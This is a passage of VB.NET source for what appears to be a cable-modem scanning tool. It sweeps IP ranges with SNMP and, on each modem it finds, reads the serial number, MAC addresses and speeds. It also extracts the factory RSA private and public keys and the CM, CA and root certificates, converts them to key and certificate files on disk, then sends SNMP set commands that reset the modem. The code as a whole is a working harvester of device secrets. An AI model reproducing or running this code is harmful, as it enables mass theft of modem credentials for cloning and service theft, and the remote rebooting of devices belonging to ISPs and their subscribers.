  3880.                 tempum = Replace(tempum, vbCrLf, Nothing)
  3881.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  3882.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  3883.                 'get SERIAL number
  3884.                 Dim myProcessSER As Process = New Process
  3885.                 Dim sSER As String
  3886.                 myProcessSER.StartInfo.FileName = x
  3887.                 myProcessSER.StartInfo.UseShellExecute = False
  3888.                 myProcessSER.StartInfo.CreateNoWindow = True
  3889.                 myProcessSER.StartInfo.RedirectStandardInput = True
  3890.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  3891.                 myProcessSER.StartInfo.RedirectStandardError = True
  3892.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  3893.                 myProcessSER.Start()
  3894.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  3895.                 sInSER.AutoFlush = True
  3896.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  3897.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  3898.                 sSER = sOutSER.ReadToEnd()
  3899.                 If Not myProcessSER.HasExited Then
  3900.                     myProcessSER.Kill()
  3901.                 End If
  3902.                 sInSER.Close()
  3903.                 sOutSER.Close()
  3904.                 sErrSER.Close()
  3905.                 myProcessSER.Close()
  3906.                 Dim tempSER As String
  3907.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  3908.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  3909.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  3910.  
  3911.  
  3912.  
  3913.  
  3914.  
  3915.  
  3916.                 'get download speed
  3917.  
  3918.                 Dim myProcessspeedd As Process = New Process
  3919.                 Dim sspeedd As String
  3920.                 myProcessspeedd.StartInfo.FileName = x
  3921.                 myProcessspeedd.StartInfo.UseShellExecute = False
  3922.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  3923.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  3924.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  3925.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  3926.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  3927.                 myProcessspeedd.Start()
  3928.  
  3929.  
  3930.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  3931.                 sInSpeedd.AutoFlush = True
  3932.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  3933.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  3934.                 sspeedd = sOutSpeedd.ReadToEnd()
  3935.                 If Not myProcessspeedd.HasExited Then
  3936.                     myProcessspeedd.Kill()
  3937.                 End If
  3938.                 sInSpeedd.Close()
  3939.                 sOutSpeedd.Close()
  3940.                 sErrSpeedd.Close()
  3941.                 myProcessspeedd.Close()
  3942.                 Dim tempSpeedd As String
  3943.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  3944.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  3945.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  3946.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  3947.                 'get upload speed
  3948.                 Dim myProcessspeedu As Process = New Process
  3949.                 Dim sspeedu As String
  3950.                 myProcessspeedu.StartInfo.FileName = x
  3951.                 myProcessspeedu.StartInfo.UseShellExecute = False
  3952.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  3953.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  3954.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  3955.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  3956.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  3957.                 myProcessspeedu.Start()
  3958.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  3959.                 sInSpeedu.AutoFlush = True
  3960.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  3961.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  3962.                 sspeedu = sOutSpeedu.ReadToEnd()
  3963.                 If Not myProcessspeedu.HasExited Then
  3964.                     myProcessspeedu.Kill()
  3965.                 End If
  3966.                 sInSpeedu.Close()
  3967.                 sOutSpeedu.Close()
  3968.                 sErrSpeedu.Close()
  3969.                 myProcessspeedu.Close()
  3970.                 Dim tempSpeedu As String
  3971.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  3972.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  3973.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  3974.  
  3975.  
  3976.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  3977.                     'get download speed doccis 1.1 +
  3978.                     Dim myProcessspeedd1 As Process = New Process
  3979.                     Dim sspeedd1 As String
  3980.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  3981.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  3982.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  3983.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  3984.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  3985.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  3986.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  3987.                     myProcessspeedd1.Start()
  3988.  
  3989.  
  3990.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  3991.                     sInSpeedd1.AutoFlush = True
  3992.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  3993.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  3994.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  3995.                     If Not myProcessspeedd1.HasExited Then
  3996.                         myProcessspeedd1.Kill()
  3997.                     End If
  3998.                     sInSpeedd1.Close()
  3999.                     sOutSpeedd1.Close()
  4000.                     sErrSpeedd1.Close()
  4001.                     myProcessspeedd1.Close()
  4002.                     Dim tempSpeedd1 As String
  4003.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  4004.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  4005.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  4006.                     tempSpeedd = tempSpeedd1
  4007.  
  4008.                     Dim testing As String
  4009.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  4010.                     ''MsgBox(testing)
  4011.                     Dim split As String()
  4012.                     split = testing.Split(",")
  4013.                     tempSpeedd = split(0).ToString
  4014.                     tempSpeedu = split(4).ToString
  4015.                     ''MsgBox(tempSpeedd)
  4016.                     ''MsgBox(tempSpeedu)
  4017.                 End If
  4018.  
  4019.  
  4020.  
  4021.                 Dim oFileSER As System.IO.File
  4022.                 Dim oWriteSER As System.IO.StreamWriter
  4023.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  4024.                 oWriteSER = oFileSER.CreateText(filedirSER)
  4025.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  4026.                 oWriteSER.Close()
  4027.  
  4028.                 Dim filetodelete As String
  4029.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  4030.                 If System.IO.File.Exists(filetodelete) = True Then
  4031.                     System.IO.File.Delete(filetodelete)
  4032.                 End If
  4033.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  4034.                 If System.IO.File.Exists(filetodelete) = True Then
  4035.                     System.IO.File.Delete(filetodelete)
  4036.                 End If
  4037.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  4038.                 If System.IO.File.Exists(filetodelete) = True Then
  4039.                     System.IO.File.Delete(filetodelete)
  4040.                 End If
  4041.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  4042.                 If System.IO.File.Exists(filetodelete) = True Then
  4043.                     System.IO.File.Delete(filetodelete)
  4044.                 End If
  4045.  
  4046.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  4047.                 If System.IO.File.Exists(filetodelete) = True Then
  4048.                     System.IO.File.Delete(filetodelete)
  4049.                 End If
  4050.  
  4051.  
  4052.  
  4053.  
  4054.  
  4055.  
  4056.  
  4057.                 'get cmFactoryRSAPublicKey.txt
  4058.                 Dim myProcess1 As Process = New Process
  4059.                 Dim s1 As String
  4060.                 myProcess1.StartInfo.FileName = x
  4061.                 myProcess1.StartInfo.UseShellExecute = False
  4062.                 myProcess1.StartInfo.CreateNoWindow = True
  4063.                 myProcess1.StartInfo.RedirectStandardInput = True
  4064.                 myProcess1.StartInfo.RedirectStandardOutput = True
  4065.                 myProcess1.StartInfo.RedirectStandardError = True
  4066.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  4067.                 myProcess1.Start()
  4068.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  4069.                 sIn1.AutoFlush = True
  4070.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  4071.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  4072.                 s1 = sOut1.ReadToEnd()
  4073.                 If Not myProcess1.HasExited Then
  4074.                     myProcess1.Kill()
  4075.                 End If
  4076.                 sIn1.Close()
  4077.                 sOut1.Close()
  4078.                 sErr1.Close()
  4079.                 myProcess1.Close()
  4080.                 Dim temp1 As String
  4081.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  4082.                 temp1 = Replace(temp1, "Hex-", Nothing)
  4083.                 temp1 = Replace(temp1, Chr(34), Nothing)
  4084.                 Dim oFile As System.IO.File
  4085.                 Dim oWrite As System.IO.StreamWriter
  4086.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  4087.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  4088.                 End If
  4089.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  4090.                 oWrite = oFile.CreateText(filedir)
  4091.                 oWrite.WriteLine(temp1)
  4092.                 oWrite.Close()
  4093.                 Dim bytelist1 As String()
  4094.                 Dim templist1 As String
  4095.                 templist1 = Replace(temp1, vbCrLf, " ")
  4096.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  4097.                 templist1 = Replace(templist1, " ", ",")
  4098.                 templist1 = Replace(templist1, ",,", ",")
  4099.                 bytelist1 = Split(templist1, ",")
  4100.                 Dim coutner1 As Integer
  4101.                 coutner1 = 2
  4102.                 Dim countback1 As Integer = bytelist1.Length - 2
  4103.                 Dim countup1 As Integer = 1
  4104.                 Dim watchvar1 As Integer = 0
  4105.                 While countback1 >= 0
  4106.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  4107.                         countup1 += 1
  4108.                     Else
  4109.                         watchvar1 = 1
  4110.                     End If
  4111.                     countback1 -= 1
  4112.                 End While
  4113.                 While coutner1 < bytelist1.Length - countup1
  4114.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  4115.                     Dim oFileStream1 As System.IO.FileStream
  4116.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  4117.                     oFileStream1.WriteByte(byteData)
  4118.                     oFileStream1.Close()
  4119.                     coutner1 += 1
  4120.                 End While
  4121.                 'get cmFactoryRSAPrivateKey.txt
  4122.                 Dim myProcess2 As Process = New Process
  4123.                 Dim s2 As String
  4124.                 myProcess2.StartInfo.FileName = x
  4125.                 myProcess2.StartInfo.UseShellExecute = False
  4126.                 myProcess2.StartInfo.CreateNoWindow = True
  4127.                 myProcess2.StartInfo.RedirectStandardInput = True
  4128.                 myProcess2.StartInfo.RedirectStandardOutput = True
  4129.                 myProcess2.StartInfo.RedirectStandardError = True
  4130.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  4131.                 myProcess2.Start()
  4132.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  4133.                 sIn2.AutoFlush = True
  4134.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  4135.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  4136.                 s2 = sOut2.ReadToEnd()
  4137.                 If Not myProcess2.HasExited Then
  4138.                     myProcess2.Kill()
  4139.                 End If
  4140.                 sIn2.Close()
  4141.                 sOut2.Close()
  4142.                 sErr2.Close()
  4143.                 myProcess2.Close()
  4144.                 Dim temp2 As String
  4145.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  4146.                 temp2 = Replace(temp2, "Hex-", "")
  4147.                 temp2 = Replace(temp2, Chr(34), "")
  4148.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  4149.                 oWrite = oFile.CreateText(filedir)
  4150.                 oWrite.WriteLine(temp2)
  4151.                 oWrite.Close()
  4152.                 Dim bytelist2 As String()
  4153.                 Dim templist2 As String
  4154.                 templist2 = Replace(temp2, vbCrLf, " ")
  4155.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  4156.                 templist2 = Replace(templist2, " ", ",")
  4157.                 templist2 = Replace(templist2, ",,", ",")
  4158.                 bytelist2 = Split(templist2, ",")
  4159.                 Dim coutner2 As Integer
  4160.                 coutner2 = 2
  4161.                 Dim countback2 As Integer = bytelist2.Length - 2
  4162.                 Dim countup2 As Integer = 1
  4163.                 Dim watchvar2 As Integer = 0
  4164.                 While countback2 >= 0
  4165.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  4166.                         countup2 += 1
  4167.                     Else
  4168.                         watchvar2 = 1
  4169.                     End If
  4170.                     countback2 -= 1
  4171.                 End While
  4172.                 While coutner2 < bytelist2.Length - countup2
  4173.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  4174.                     Dim oFileStream2 As System.IO.FileStream
  4175.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  4176.                     oFileStream2.WriteByte(byteData2)
  4177.                     oFileStream2.Close()
  4178.                     coutner2 += 1
  4179.                 End While
  4180.                 'get cmFactoryCMCertificate.txt
  4181.                 Dim myProcess3 As Process = New Process
  4182.                 Dim s3 As String
  4183.                 myProcess3.StartInfo.FileName = x
  4184.                 myProcess3.StartInfo.UseShellExecute = False
  4185.                 myProcess3.StartInfo.CreateNoWindow = True
  4186.                 myProcess3.StartInfo.RedirectStandardInput = True
  4187.                 myProcess3.StartInfo.RedirectStandardOutput = True
  4188.                 myProcess3.StartInfo.RedirectStandardError = True
  4189.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  4190.                 myProcess3.Start()
  4191.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  4192.                 sIn3.AutoFlush = True
  4193.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  4194.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  4195.                 s3 = sOut3.ReadToEnd()
  4196.                 If Not myProcess3.HasExited Then
  4197.                     myProcess3.Kill()
  4198.                 End If
  4199.                 sIn3.Close()
  4200.                 sOut3.Close()
  4201.                 sErr3.Close()
  4202.                 myProcess3.Close()
  4203.                 Dim temp3 As String
  4204.  
  4205.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  4206.                 temp3 = Replace(temp3, "Hex-", "")
  4207.                 temp3 = Replace(temp3, Chr(34), "")
  4208.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  4209.                 oWrite = oFile.CreateText(filedir)
  4210.                 oWrite.WriteLine(temp3)
  4211.                 oWrite.Close()
  4212.                 Dim bytelist3 As String()
  4213.                 Dim templist3 As String
  4214.                 templist3 = Replace(temp3, vbCrLf, " ")
  4215.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  4216.                 templist3 = Replace(templist3, " ", ",")
  4217.                 templist3 = Replace(templist3, ",,", ",")
  4218.                 bytelist3 = Split(templist3, ",")
  4219.                 Dim coutner3 As Integer
  4220.                 coutner3 = 2
  4221.                 Dim countback3 As Integer = bytelist3.Length - 2
  4222.                 Dim countup3 As Integer = 1
  4223.                 Dim watchvar3 As Integer = 0
  4224.                 While countback3 >= 0
  4225.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  4226.                         countup3 += 1
  4227.                     Else
  4228.                         watchvar3 = 1
  4229.                     End If
  4230.                     countback3 -= 1
  4231.                 End While
  4232.                 While coutner3 < bytelist3.Length - countup3
  4233.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  4234.                     Dim oFileStream3 As System.IO.FileStream
  4235.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  4236.                     oFileStream3.WriteByte(byteData3)
  4237.                     oFileStream3.Close()
  4238.                     coutner3 = coutner3 + 1
  4239.                 End While
  4240.                 'get cmFactoryCaCertificate.txt
  4241.                 Dim myProcess4 As Process = New Process
  4242.                 Dim s4 As String
  4243.                 myProcess4.StartInfo.FileName = x
  4244.                 myProcess4.StartInfo.UseShellExecute = False
  4245.                 myProcess4.StartInfo.CreateNoWindow = True
  4246.                 myProcess4.StartInfo.RedirectStandardInput = True
  4247.                 myProcess4.StartInfo.RedirectStandardOutput = True
  4248.                 myProcess4.StartInfo.RedirectStandardError = True
  4249.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  4250.                 myProcess4.Start()
  4251.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  4252.                 sIn4.AutoFlush = True
  4253.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  4254.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  4255.                 s4 = sOut4.ReadToEnd()
  4256.                 If Not myProcess4.HasExited Then
  4257.                     myProcess4.Kill()
  4258.                 End If
  4259.                 sIn4.Close()
  4260.                 sOut4.Close()
  4261.                 sErr4.Close()
  4262.                 myProcess4.Close()
  4263.                 Dim temp4 As String
  4264.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  4265.                 temp4 = Replace(temp4, "Hex-", "")
  4266.                 temp4 = Replace(temp4, Chr(34), "")
  4267.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  4268.                 oWrite = oFile.CreateText(filedir)
  4269.                 oWrite.WriteLine(temp4)
  4270.                 oWrite.Close()
  4271.                 Dim bytelist4 As String()
  4272.                 Dim templist4 As String
  4273.                 templist4 = Replace(temp4, vbCrLf, " ")
  4274.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  4275.                 templist4 = Replace(templist4, " ", ",")
  4276.                 templist4 = Replace(templist4, ",,", ",")
  4277.                 bytelist4 = Split(templist4, ",")
  4278.                 Dim coutner4 As Integer
  4279.                 coutner4 = 2
  4280.                 Dim countback4 As Integer = bytelist4.Length - 2
  4281.                 Dim countup4 As Integer = 1
  4282.                 Dim watchvar4 As Integer = 0
  4283.                 While countback4 >= 0
  4284.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  4285.                         countup4 = countup4 + 1
  4286.                     Else
  4287.                         watchvar4 = 1
  4288.                     End If
  4289.                     countback4 = countback4 - 1
  4290.                 End While
  4291.                 While coutner4 < bytelist4.Length - countup4
  4292.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  4293.                     Dim oFileStream4 As System.IO.FileStream
  4294.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  4295.                     oFileStream4.WriteByte(byteData4)
  4296.                     oFileStream4.Close()
  4297.                     coutner4 = coutner4 + 1
  4298.                 End While
  4299.                 'get cmFactoryRootCertificate.txt
  4300.                 Dim myProcess5 As Process = New Process
  4301.                 Dim s5 As String
  4302.                 myProcess5.StartInfo.FileName = x
  4303.                 myProcess5.StartInfo.UseShellExecute = False
  4304.                 myProcess5.StartInfo.CreateNoWindow = True
  4305.                 myProcess5.StartInfo.RedirectStandardInput = True
  4306.                 myProcess5.StartInfo.RedirectStandardOutput = True
  4307.                 myProcess5.StartInfo.RedirectStandardError = True
  4308.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  4309.                 myProcess5.Start()
  4310.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  4311.                 sIn5.AutoFlush = True
  4312.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  4313.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  4314.                 s5 = sOut5.ReadToEnd()
  4315.                 If Not myProcess5.HasExited Then
  4316.                     myProcess5.Kill()
  4317.                 End If
  4318.                 sIn5.Close()
  4319.                 sOut5.Close()
  4320.                 sErr5.Close()
  4321.                 myProcess5.Close()
  4322.                 Dim temp5 As String
  4323.  
  4324.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  4325.                 temp5 = Replace(temp5, "Hex-", "")
  4326.                 temp5 = Replace(temp5, Chr(34), "")
  4327.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  4328.                 oWrite = oFile.CreateText(filedir)
  4329.                 oWrite.WriteLine(temp5)
  4330.                 oWrite.Close()
  4331.                 Dim bytelist5 As String()
  4332.                 Dim templist5 As String
  4333.                 templist5 = Replace(temp5, vbCrLf, " ")
  4334.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  4335.                 templist5 = Replace(templist5, " ", ",")
  4336.                 templist5 = Replace(templist5, ",,", ",")
  4337.                 bytelist5 = Split(templist5, ",")
  4338.                 Dim coutner5 As Integer
  4339.                 coutner5 = 2
  4340.                 Dim countback5 As Integer = bytelist5.Length - 2
  4341.                 Dim countup5 As Integer = 1
  4342.                 Dim watchvar5 As Integer = 0
  4343.                 While countback5 >= 0
  4344.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  4345.                         countup5 = countup5 + 1
  4346.                     Else
  4347.                         watchvar5 = 1
  4348.                     End If
  4349.                     countback5 = countback5 - 1
  4350.                 End While
  4351.                 While coutner5 < bytelist5.Length - countup5
  4352.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  4353.                     Dim oFileStream5 As System.IO.FileStream
  4354.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  4355.                     oFileStream5.WriteByte(byteData5)
  4356.                     oFileStream5.Close()
  4357.                     coutner5 = coutner5 + 1
  4358.                 End While
  4359.  
  4360.                 x = "C:\snmpcert\snmpset.exe"
  4361.                 Dim myProcess6 As Process = New Process
  4362.                 Dim s6 As String
  4363.                 myProcess6.StartInfo.FileName = x
  4364.                 myProcess6.StartInfo.UseShellExecute = False
  4365.                 myProcess6.StartInfo.CreateNoWindow = True
  4366.                 myProcess6.StartInfo.RedirectStandardInput = True
  4367.                 myProcess6.StartInfo.RedirectStandardOutput = True
  4368.                 myProcess6.StartInfo.RedirectStandardError = True
  4369.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  4370.                 myProcess6.Start()
  4371.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  4372.                 sIn6.AutoFlush = True
  4373.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  4374.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  4375.                 s6 = sOut6.ReadToEnd()
  4376.                 If Not myProcess6.HasExited Then
  4377.                     myProcess6.Kill()
  4378.                 End If
  4379.                 sIn6.Close()
  4380.                 sOut6.Close()
  4381.                 sErr6.Close()
  4382.                 myProcess6.Close()
  4383.                 Dim myProcess7 As Process = New Process
  4384.                 Dim s7 As String
  4385.                 myProcess7.StartInfo.FileName = x
  4386.                 myProcess7.StartInfo.UseShellExecute = False
  4387.                 myProcess7.StartInfo.CreateNoWindow = True
  4388.                 myProcess7.StartInfo.RedirectStandardInput = True
  4389.                 myProcess7.StartInfo.RedirectStandardOutput = True
  4390.                 myProcess7.StartInfo.RedirectStandardError = True
  4391.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  4392.                 myProcess7.Start()
  4393.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  4394.                 sIn7.AutoFlush = True
  4395.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  4396.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  4397.                 s7 = sOut7.ReadToEnd()
  4398.                 If Not myProcess7.HasExited Then
  4399.                     myProcess7.Kill()
  4400.                 End If
  4401.                 sIn7.Close()
  4402.                 sOut7.Close()
  4403.                 sErr7.Close()
  4404.                 myProcess7.Close()
  4405.  
  4406.                 Timer1.Enabled = True
  4407.             Catch ex As Exception
  4408.                 Exit Sub
  4409.             End Try
  4410.         End If
  4411.     End Sub
  4412.     Sub check6(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  4413.  
  4414.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  4415.         Dim x = "C:\snmpcert\snmpget.exe"
  4416.         Dim myProcess As Process = New Process
  4417.         Dim s As String = ""
  4418.         myProcess.StartInfo.FileName = x
  4419.         myProcess.StartInfo.UseShellExecute = False
  4420.         myProcess.StartInfo.CreateNoWindow = True
  4421.         myProcess.StartInfo.RedirectStandardInput = True
  4422.         myProcess.StartInfo.RedirectStandardOutput = True
  4423.         myProcess.StartInfo.RedirectStandardError = True
  4424.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  4425.         myProcess.Start()
  4426.         Dim sIn As StreamWriter = myProcess.StandardInput
  4427.         sIn.AutoFlush = True
  4428.         Dim sOut As StreamReader = myProcess.StandardOutput
  4429.         Dim sErr As StreamReader = myProcess.StandardError
  4430.  
  4431.  
  4432.         s = sOut.ReadToEnd()
  4433.         Dim e As String = sErr.ReadToEnd
  4434.         Console.WriteLine(s)
  4435.         output = e
  4436.         output = s
  4437.         If Not myProcess.HasExited Then
  4438.             myProcess.Kill()
  4439.         End If
  4440.         sIn.Close()
  4441.         sOut.Close()
  4442.         sErr.Close()
  4443.         myProcess.Close()
  4444.         Dim temp As String = ""
  4445.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  4446.         temp = Replace(temp, Chr(34), "")
  4447.         If temp = Nothing Then
  4448.             temp = ""
  4449.         Else
  4450.             If temp = "No Such Object available on this agent at this OID" Then
  4451.                 allmodems += 1
  4452.             End If
  4453.             temp = temp.ToString.ToUpper
  4454.             Dim values As String
  4455.             values = temp
  4456.             Dim sites As String() = Nothing
  4457.             sites = values.Split(" ")
  4458.             Dim t As String
  4459.             For Each t In sites
  4460.                 If t = "NO" Then
  4461.                     track = 1
  4462.  
  4463.                 End If
  4464.  
  4465.             Next t
  4466.         End If
  4467.         If temp.ToString = "" Then
  4468.             Timer1.Enabled = True
  4469.             Exit Sub
  4470.         ElseIf track = 1 Then
  4471.             track = 0
  4472.             Timer1.Enabled = True
  4473.             Exit Sub
  4474.         Else
  4475.             total_modems += 1
  4476.  
  4477.             Try
  4478.                 Dim mymac1 As Process = New Process
  4479.                 Dim sm As String
  4480.                 mymac1.StartInfo.FileName = x
  4481.                 mymac1.StartInfo.UseShellExecute = False
  4482.                 mymac1.StartInfo.CreateNoWindow = True
  4483.                 mymac1.StartInfo.RedirectStandardInput = True
  4484.                 mymac1.StartInfo.RedirectStandardOutput = True
  4485.                 mymac1.StartInfo.RedirectStandardError = True
  4486.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  4487.                 mymac1.Start()
  4488.                 Dim sInm As StreamWriter = mymac1.StandardInput
  4489.                 sInm.AutoFlush = True
  4490.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  4491.                 Dim sErrm As StreamReader = mymac1.StandardError
  4492.                 sm = sOutm.ReadToEnd()
